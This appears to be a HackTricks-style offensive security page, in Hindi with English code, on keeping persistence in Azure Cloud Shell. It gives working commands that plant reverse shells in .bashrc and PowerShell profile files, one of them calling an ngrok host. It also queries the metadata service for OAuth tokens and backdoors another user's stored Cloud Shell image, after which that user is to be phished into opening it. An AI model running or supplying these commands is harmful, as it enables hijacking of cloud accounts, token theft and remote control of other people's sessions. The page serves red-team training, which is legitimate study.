# Az - Cloud Shell Persistence {{#include ../../../banners/hacktricks-training.md}} ## Cloud Shell Persistence Azure Cloud Shell कमांड-लाइन एक्सेस प्रदान करता है ताकि Azure संसाधनों को प्रबंधित किया जा सके, जिसमें स्थायी भंडारण और स्वचालित प्रमाणीकरण शामिल है। हमलावर इसका लाभ उठाकर स्थायी होम डायरेक्टरी में बैकडोर रख सकते हैं: * **Persistent Storage**: Azure Cloud Shell की होम डायरेक्टरी एक Azure फ़ाइल शेयर पर माउंट की गई है और सत्र समाप्त होने के बाद भी बरकरार रहती है। * **Startup Scripts**: फ़ाइलें जैसे कि `.bashrc` या `config/PowerShell/Microsoft.PowerShell_profile.ps1` प्रत्येक सत्र की शुरुआत में स्वचालित रूप से निष्पादित होती हैं, जिससे क्लाउड शेल शुरू होने पर स्थायी निष्पादन की अनुमति मिलती है। Example backdoor in .bashrc: ```bash echo '(nohup /usr/bin/env /bin/bash 2>/dev/null -norc -noprofile >& /dev/tcp/$CCSERVER/443 0>&1 &)' >> $HOME/.bashrc ``` यह बैकडोर उपयोगकर्ता द्वारा क्लाउड शेल समाप्त होने के 5 मिनट बाद भी कमांड निष्पादित कर सकता है। इसके अतिरिक्त, उदाहरण विवरण और टोकन के लिए Azure की मेटाडेटा सेवा को क्वेरी करें: ```bash curl -H "Metadata:true" "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/" -s ``` ### Cloud Shell Phishing यदि एक हमलावर एक Storage Account में अन्य उपयोगकर्ताओं की छवियाँ पाता है जिसमें उसे लिखने और पढ़ने की अनुमति है, तो वह छवि को डाउनलोड कर सकेगा, **उसमें एक bash और PS बैकडोर जोड़ सकेगा**, और इसे फिर से Storage Account में अपलोड कर सकेगा ताकि अगली बार जब उपयोगकर्ता शेल का उपयोग करे, तो **कमांड स्वचालित रूप से निष्पादित हों**। - **Download, backdoor and upload the image:** ```bash # Download image mkdir /tmp/phishing_img az storage file download-batch -d /tmp/phishing_img --account-name -s # Mount the image mkdir /tmp/backdoor_img sudo mount ./.cloudconsole/acc_carlos.img /tmp/backdoor_img cd /tmp/backdoor_img # Create backdoor mkdir .config mkdir .config/PowerShell touch .config/PowerShell/Microsoft.PowerShell_profile.ps1 chmod 777 .config/PowerShell/Microsoft.PowerShell_profile.ps1 # Bash backdoor echo '(nohup /usr/bin/env /bin/bash 2>/dev/null -norc -noprofile >& /dev/tcp/${SERVER}/${PORT} 0>&1 &)' >> .bashrc # PS backdoor echo '$client = New-Object System.Net.Sockets.TCPClient("7.tcp.eu.ngrok.io",19838);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()' >> .config/PowerShell/Microsoft.PowerShell_profile.ps1 # Unmount cd /tmp sudo umount /tmp/backdoor_img # Upload image az storage file upload --account-name --path ".cloudconsole/acc_username.img" --source "./tmp/phishing_img/.cloudconsole/acc_username.img" -s ``` - **फिर, उपयोगकर्ता को https://shell.azure.com/ तक पहुँचने के लिए फ़िश करें** {{#include ../../../banners/hacktricks-training.md}}